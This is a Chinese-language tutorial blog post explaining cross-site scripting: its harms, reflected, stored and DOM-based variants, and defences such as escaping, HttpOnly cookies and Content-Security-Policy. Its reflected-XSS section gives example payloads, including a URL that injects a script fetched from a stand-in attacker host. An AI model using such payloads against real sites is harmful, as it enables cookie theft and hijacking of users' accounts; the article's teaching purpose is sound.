1. 程式人生 > >【網路安全】給你講清楚什麼是XSS攻擊

【網路安全】給你講清楚什麼是XSS攻擊

1. 什麼是XSS攻擊

跨站指令碼攻擊(Cross Site Scripting)本來的縮寫為CSS,為了與層疊樣式表(Cascading Style Sheets,CSS)的縮寫進行區分,將跨站指令碼攻擊縮寫為XSS。因此XSS是跨站指令碼的意思。

XSS跨站指令碼攻擊(Cross Site Scripting),的本質是攻擊者在web頁面插入惡意的script程式碼(這個程式碼可以是JS指令碼、CSS樣式或者其他意料之外的程式碼),當用戶瀏覽該頁面之時,嵌入其中的script程式碼會被執行,從而達到惡意攻擊使用者的目的。比如讀取cookie,session,tokens,或者網站其他敏感的網站資訊,對使用者進行釣魚欺詐等。比較經典的事故有:

2011年6月28日,新浪微博被XSS攻擊,大量使用者自動轉發微博、私信。自動關注使用者,大量使用者被莫名其妙地控制。因為可以使用JS程式碼代替使用者單擊按鈕傳送請求,所以損壞非常大。

1.1 XSS攻擊的危害

  • 通過 document.cookie 盜取 cookie中的資訊

  • 使用 js或 css破壞頁面正常的結構與樣式

  • 流量劫持(通過訪問某段具有 window.location.href 定位到其他頁面)

  • dos攻擊:利用合理的客戶端請求來佔用過多的伺服器資源,從而使合法使用者無法得到伺服器響應。並且通過攜帶過程的 cookie資訊可以使服務端返回400開頭的狀態碼,從而拒絕合理的請求服務。

  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻擊)使用者的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作,並且攻擊者還可以利用 iframe,frame進一步的進行 CSRF 攻擊。

  • 控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力。

2. XSS攻擊的型別

2.1 反射型XSS攻擊

反射型XSS漏洞常見於通過URL傳遞引數的功能,如網站搜尋,跳轉等。由於需要使用者主動開啟惡意的URL才能生效,攻擊者往往會結合多種手段誘導使用者點選。比如下面的URL:

http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>"

或者

http://localhost/test.php?param=<script>alert(/xss/)</script>

POST的內容也可以觸發反射型XSS,只不過它的觸發條件比較苛刻(構建表單提交頁面,並引導使用者點選),所以非常少見。

反射型XSS的攻擊步驟

1.攻擊者構造出特殊的URL,其中包含惡意程式碼.
2.使用者開啟有惡意程式碼的URL時,網站伺服器端將惡意程式碼從URL取出,拼接在HTML返回給瀏覽器.
3.使用者瀏覽器接收到響應後解析執行,混在其中的惡意程式碼也會被執行。
4.惡意程式碼竊取使用者資料併發送到攻擊者的網站,或者冒充使用者行為,呼叫目標網站介面執行攻擊者指定的操作。

在網上找了一個大致示意圖,湊合著看。

注意:Chrome和Safari能夠檢測到url上的xss攻擊,將網頁攔截掉,但是其他瀏覽器不行,如IE和Firefox。

防禦反射型XSS攻擊

  1. 對輸入檢查
    對請求引數進行檢查,一旦發現可疑的特殊字元就拒絕請求。需要注意的是使用者可以繞過瀏覽器的檢查,直接通過Postman等工具進行請求,所以這個檢查最好前後端都做。

  2. 對輸出進行轉義再顯示
    通過上面的介紹可以看出,反射型XSS攻擊要進行攻擊的話需要在前端頁面進行顯示。所以在輸出資料之前對潛在的威脅的字元進行編碼、轉義也是防禦XSS攻擊十分有效的措施。比如下面的方式:

app.get('/welcome',function(req,res){
  //對查詢引數進行編碼,避免反射型 XSS攻擊
  res.send(`${encodeURIComponent(req.query.type)}`);
})

2.2 儲存型XSS攻擊

惡意指令碼永久儲存在目標伺服器上。當瀏覽器請求資料時,指令碼從伺服器傳回並執行,影響範圍比反射型和DOM型XSS更大。儲存型XSS攻擊的原因仍然是沒有做好資料過濾:前端提交資料至伺服器端時,沒有做好過濾;服務端在按受到資料時,在儲存之前,沒有做過濾;前端從伺服器端請求到資料,沒有過濾輸出。

比較常見的場景是,黑客寫下一篇包含有惡意JavaScript程式碼的部落格文章,文章發表後,所有訪問該部落格的使用者,都會在他們的瀏覽器中執行這段惡意js程式碼。

儲存型XSS的攻擊步驟

1.攻擊者將惡意程式碼提交到目標網站的資料庫中。
2.使用者開啟目標網站時,網站服務端將惡意程式碼從資料庫中取出,拼接在HTML中返回給瀏覽器。
3.使用者瀏覽器接收到響應後解析執行,混在其中的惡意程式碼也被執行。
4.惡意程式碼竊取使用者資料併發送到攻擊者的網站,或冒充使用者行為,凋用目標網站介面執行攻擊者指定的操作.
這種攻擊常見於帶有使用者儲存資料的網站功能,如論壇發帖,商品評論,使用者私信等。

預防儲存型XSS攻擊
預防儲存型XSS攻擊也是從輸入和輸出兩個方面來考慮。

  • 伺服器接收到資料,在儲存到資料庫之前,進行轉義和過濾危險字元;
  • 前端接收到伺服器傳遞過來的資料,在展示到頁面前,先進行轉義/過濾;

不論是反射型攻擊還是儲存型,攻擊者總需要找到兩個要點,即“輸入點”與"輸出點",也只有這兩者都滿足,XSS攻擊才會生效。“輸入點”用於向 web頁面注入所需的攻擊程式碼,而“輸出點”就是攻擊程式碼被執行的地方。

2.3 DOM型XSS

DOM型XSS攻擊,實際上就是前端javascript程式碼不夠嚴謹,把不可信的內容插入到了頁面,在使用.innerHTML、.outerHTML、.appendChild、document.write()等API時要特別小心,不要把不可信的資料作為HTML插入到頁面上,儘量使用.innerText、.textContent、.setAttribut()等.

DOM型XSS攻擊步驟

1.攻擊者構造出特殊資料,其中包含惡意程式碼。
2.使用者瀏覽器執行了惡意程式碼
3.惡意竊取使用者資料併發送到攻擊者的網站,或冒充使用者行為,呼叫目標網站介面執行攻擊者指定的操作.

DOM型XSS攻擊中,取出和執行惡意程式碼由瀏覽器端完成,屬於前端javascript自身的安全漏洞.

2.4 簡單總結

3. 一些其他的防範策略

  • HTTP-only Cookie:禁止JavaScript讀取某些敏感Cookie,攻擊者完成XSS注入後也無法竊取此Cookie屬性:防止指令碼冒充使用者提交危險操作

  • 在服務端使用HTTP的Content-Security-Policy頭部來指定策略,或者在前端設定meta標答。例如下面的配置只允許載入同域下的資源:

Content-Security-Policy:default-src 'self'`請輸入程式碼`

<meta http-equiv="Content-Security-Policy" content="form-action 'self';">
  • 當然也可以使用執行緒的安全掃描工具來檢測。

就目前而言,應對XSS攻擊的主要手段還是編碼與過濾兩種,編碼用於將特殊的符號 "<、>、&、'、""進行html轉義,而過濾則是阻止特定的標記、屬性、事件。如果你不願意為了嚴格的安全而限制產品本身的靈活,那麼我更建議採用“編碼”的方案。

參考

  • https://www.baidu.com/link?url=VmWX3EZSTc2_xNp_nR5z4J2UNIbxlpojOON2N0ySLR3wARNtbyA3O2AFUixbpxZH&wd=&eqid=d59d10a100000d8e000000055d9d7d9f

  • https://segmentfault.com/a/1190000019186996

  • http://www.imooc.com/article/67689

  • http://www.cocoachina.com/articles/29929